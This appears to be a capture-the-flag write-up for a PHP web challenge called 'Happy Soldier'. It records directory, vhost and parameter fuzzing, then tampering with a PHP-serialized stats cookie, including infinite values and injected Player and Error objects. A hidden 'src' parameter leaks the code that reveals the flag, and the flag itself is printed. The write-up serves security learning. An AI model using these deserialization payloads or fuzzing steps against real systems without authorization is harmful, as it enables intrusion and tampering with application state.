🚩 BKSEC - Happy Soldier
Executive Summary
- URL:
http://103.77.175.40:8141 - OS: Linux
- Key Technique: Argument Fuzzing to reveal hidden argument, this leads to a local file content revelation, then we change the PHP object to get the flag.
- Status:
Completed
Reconnaissance
Gobuster Scan
# dir scan
gobuster dir --url http://103.77.175.40:8141 --wordlist ~/Downloads/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt --exclude-length 280
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://103.77.175.40:8141
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/Downloads/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] Exclude Length: 280
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 17769 / 17769 (100.00%)
===============================================================
Finished
===============================================================
# vhost scan
gobuster vhost --url http://103.77.175.40:8141 --wordlist ~/Downloads/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://103.77.175.40:8141
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/Downloads/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
#www.103.77.175.40:8141 Status: 400 [Size: 302]
#mail.103.77.175.40:8141 Status: 400 [Size: 302]
Progress: 19966 / 19966 (100.00%)
===============================================================
Finished
===============================================================Both vhost and dir scans revealed nothing so I decided to move on.
Looking at Wappalyzer I saw that the website seem to be using PHP so I decided to try finding out if any PHP pages were exposed.
gobuster dir --url http://103.77.175.40:8141 --wordlist ~/Downloads/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt --exclude-length 280 -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://103.77.175.40:8141
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/Downloads/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] Exclude Length: 280
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 35538 / 35538 (100.00%)
===============================================================
Finished
===============================================================Again, I saw nothing, so Gobuster seemed to reveal nothing significant.
Web Enumeration
Based on Wappalyzer the page is using PHP version 8.0.30 so I tried to find out if there were any known vulnerabilities for this version on the Internet, and the results suggests that 8.0.30 seems to be a secure version.
[insert image from Windows machine]
Take a look at the source code of the page, at the end there is a script about some sort of cheat code:
<script>
const particlesContainer = document.getElementById('particles');
for (let i = 0; i < 30; i++) {
const particle = document.createElement('div');
particle.className = 'particle';
particle.style.left = Math.random() * 100 + '%';
particle.style.animationDelay = Math.random() * 15 + 's';
particle.style.animationDuration = (Math.random() * 10 + 10) + 's';
particlesContainer.appendChild(particle);
}
let konamiCode = [];
const konamiSequence = ['ArrowUp', 'ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowLeft', 'ArrowRight', 'b', 'a'];
document.addEventListener('keydown', (e) => {
konamiCode.push(e.key);
konamiCode = konamiCode.slice(-10);
if (konamiCode.join(',') === konamiSequence.join(',')) {
const log = document.getElementById('combatLog');
const entry = document.createElement('div');
entry.className = 'log-entry';
entry.style.color = '#ff0';
entry.textContent = '> 🎮 CHEAT CODE ACTIVATED! But can you serialize your way to victory? 🎮';
log.appendChild(entry);
log.scrollTop = log.scrollHeight;
}
});
const monster = document.getElementById('monster');
const fightButton = document.querySelector('.action-button');
fightButton.addEventListener('click', (e) => {
monster.classList.add('shake');
setTimeout(() => monster.classList.remove('shake'), 500);
});
</script>The page it seems like the page will record the key press of the user and output the “Cheat Code Activated” string to the combatLog. Which is pretty weird considering there were no element in the HTML when I inspect the code.
So to test this out, I asked Gemini to generate a script to help me trigger the cheat code to see what happen.
// 1. Create and add the missing 'combatLog' element
if (!document.getElementById('combatLog')) {
const logDiv = document.createElement('div');
logDiv.id = 'combatLog';
logDiv.className = 'combat-log';
document.querySelector('.container').appendChild(logDiv);
console.log("✅ Combat Log element added to the page.");
}
// 2. Define the Konami Code sequence
const sequence = [
'ArrowUp', 'ArrowUp',
'ArrowDown', 'ArrowDown',
'ArrowLeft', 'ArrowRight',
'ArrowLeft', 'ArrowRight',
'b', 'a'
];
// 3. Simulate pressing the keys
sequence.forEach((keyName, index) => {
setTimeout(() => {
const event = new KeyboardEvent('keydown', {
key: keyName,
bubbles: true,
cancelable: true
});
document.dispatchEvent(event);
}, index * 100);
});
The only thing happen was just the small box at the end of the page appear saying the string. Other than that it did nothing, though I expected it to trigger some client-side errors or something more.
Next thing I did was pressing the FIGHT MONSTER button. The result was that the coins and the attack of user increased by 1 after the page reloaded.
Looking at the source code again, it seemed like whenever the button is pressed the page sends a request with parameter action=fight.
Firing up BurpSuite, and looking at the traffic. I take a look at the request to /?action=fight

The request’s cookie was attached with a flag? and a base64 and URL encoded string. The decoding revealed that the encoded is the player’s stats formatted in the PHP serialization format.
The response also have a similar string:
// Request
O:6:"Player":4:{
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
s:6:"weapon";s:12:"Wooden Sword";
}
// Response
O:6:"Player":4:{
s:6:"health";i:100;
s:6:"attack";i:11;
s:5:"coins";i:10;
s:6:"weapon";s:12:"Wooden Sword";}It seemed like the web send to the endpoint the player’s stats, the endpoint update the stats and send back to the client. It seems like some sort of game, with enough stats I might be able to defeat the monster.
At this point, I was thinking about writing a script that helps me click the FIGHT MONSTER button indefinitely until I have enough stats. However, after clicking the button for a few more times, I got redirected to a forbidden page, this may be a rate limiting logic behind this. If I write a script that spam the web it might takes a long time to finish, so I decide to make it my last resort.
Looking a bit more, there seems to be nothing more so I decide to dig into modifying the base64 string.
Exploit the Cookie
I looked for the information about the format (the server was using PHP version 7.4.33 based on the response) and tried modifying each field of the string with different payloads to look for an injection point.
Test the fields
Sending an error cookie will lead to a rejection and return standard object:
// Request
O:7:"Player":4:{ // Wrong String length
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
s:6:"weapon";s:12:"Wooden Sword";
}
// Response
O:8:"stdClass":2:{
s:5:"coins";i:10;
s:6:"attack";i:1;}Changing the name of the objects does nothing, apparently.
// Request
O:8:"okokokko":4:{ // Wrong some random name
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
s:6:"weapon";s:12:"Wooden Sword";
}
// Response
O:8:"okokokko":4{
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
s:6:"weapon";s:12:"Wooden Sword";
}Even changing the type of the object also does not trigger any errors:
// Request
s:8:"okokokko";
// Response
s:8:"okokokko";however the page does not display anything, so it seems like for the page to display anything, we can only keep the object as Player as it was.
The same pattern appeared when I tried to manipulate other fields. Integer fields like healthcan hold string, double and boolean, but it could not hold object; attack and coins had some math going in the background so they could not be injected with string or boolean (as they will be turned to integers afterward). Weapon was the most suspicious as the field accepted everything out of the four, when I inject a random object the field just accept it.
// Request
O:7:"Player":4:{
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
O:2:"ok":0:{} // Random Object
}
// Response
O:7:"Player":4:{
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
O:2:"ok":0:{}
}After consulting Gemini, it seemed like PHP often uses a method like unserialize() for deserialization and a method called __to_string() if they were to utilize the string representation of an object. So I need to find the object that allows serialization and it has to have a __to_string() method implemented.
Inject Payloads
- Payload 1: Infinite Stats As the challenge worked similar to a game, I decide to try buff the stats of the character to infinity. In PHP, infinity is d:INF and as 3 stats field all can hold double, just let them all have the INF value. I even tried changing the name of the sword to something else as the system may have some background check whether the sword is a wooden sword but it did not work.

// Request
O:7:"Player":4:{
s:6:"health";d:INF;
s:6:"attack";d:INF;
s:5:"coins";d:INF;
s:6:"weapon";s:13:"Infinity Edge";
}
// Response
O:7:"Player":4:{
s:6:"health";d:INF;
s:6:"attack";d:INF;
s:5:"coins";d:INF;
s:6:"weapon";s:13:"Infinity Edge";
}- Payload 2: Object Injection.
After many tried of the previous method, it still does not work, so I decided to move on to another way. Since the
weaponfield can hold objects, I tried inject a known object likePlayerto see how things goes.

// Request
O:7:"Player":4:{
s:6:"health";i:100;
s:6:"attack";i:10;
s:5:"coins";i:0;
O:6:"Player":0:{}
}
// Response
O:6:"Player":4:{
s:6:"health";d:INF;
s:6:"attack";d:INF;
s:5:"coins";d:INF;
s:6:"weapon";O:6:"Player":4:{
s:6:"health";N;
s:6:"attack";N;
s:5:"coins";N;
s:6:"weapon";N;
}
}The previously empty Player object had been initialized with all attributes being NULL after being passed to the endpoint, however, nothing was printed to the screen at the weapon’s name. Maybe it is because the Player does not have a __to_string() method. However, we can still know the name of the fields of the object, so I tested out some class name that might existed and maybe held a field called flag or something like that, so I spent more time on guessing names like Monster, Guardian, Demon, Admin, Flag,… But none works so I move on to maybe use built-in classes that can be serialized and has a __to_string() method.
Gemini suggested me two classes that may work that were: SimpleXMLElement and Exception (or Error). However, only Exception works, as it printed error message and the stack trace to the weapon name while SimpleXMLElement gave me a blank page.

O:6:"Player":4:{
s:6:"health";d:INF;
s:6:"attack";d:INF;
s:5:"coins";d:INF;
s:6:"weapon";O:5:"Error":1:{
s:7:"message";s:2:"ok";
}
}Based on the error, we can finally confirmed that the logic was indeed using unserialize().
Back To Recon
After stucking for some hours, I realize there is one thing I haven’t tried. That is hidden parameter. Whenever I hit FIGHT MONSTER, a request is sent to /?action=fight, what if there are some other parameters that I did not know? So I fuzzed the parameter with ffuf:
ffuf -u http://103.77.175.40:8141/?FUZZ=fight -w ~/Downloads/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 280
[...]
parentid [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 76ms]
parenttab [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 76ms]
partner [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 74ms]
periodo [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 79ms]
phone [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 75ms]
playlistTitle [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 86ms]
postid [Status: 200, Size: 16265, Words: 6499, Lines: 564, Duration: 75ms]
:: Progress: [6453/6453] :: Job [1/1] :: 560 req/sec :: Duration: [0:00:12] :: Errors: 0 ::However, contrary to my expectation, nothing was found. There were only 2 types of page size: 280 for status 403 and 16265 for status 200, with thousands of duplication. This meant the tool failed to find the correct parameter.
I tried fuzzing the value of the parameter, hoping to find something, with or without adding cookie, the tool still failed.
Gemini then suggested me to change the tool and tell me to use a tool called Arjun that was specialized in finding hidden parameter. I tried install the tool and run the command:
arjun -u http://103.77.175.40:8141
/_| _ '
( |/ /(//) v2.2.7
_/
[*] Scanning 0/1: http://103.77.175.40:8141
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Logicforcing the URL endpoint
[✓] parameter detected: src, based on: http headers
[+] Parameters found: src
For this I manage to find the source code for the background process that was responsible for processing the stats and checking it to defeat the the demon:
[...]
public function __wakeup() {
// if ($this->attack === 99999999999999999 || $this->weapon === "Golden Sword") {
if ($this->attack === 99999999999999999 && $this->weapon === "Golden Ultimate Extra Length Sword") {
echo '<div class="flag-victory">
<div class="victory-content">
<div class="victory-icon">🏆</div>
<div class="victory-title">VICTORY!</div>
<div class="victory-subtitle">You have conquered the Serialized Demon!</div>
<div class="flag-box">
<div class="flag-label">YOUR FLAG:</div>
<div class="flag-text">' . htmlspecialchars(file_get_contents('/flag.txt')) . '</div>
</div>
</div>
</div>';
}
}
[...]I can just change the cookie accordingly and get the flag.
Loot & Flags
Flag: BKSEC{h0w_c4n_y0u_b3c0m3_5tr0ng3r_50_qu1ckly_f4b9e1}
Lessons:
- Always do the recon thoroughly.
- Focus on more rewarding attack vector.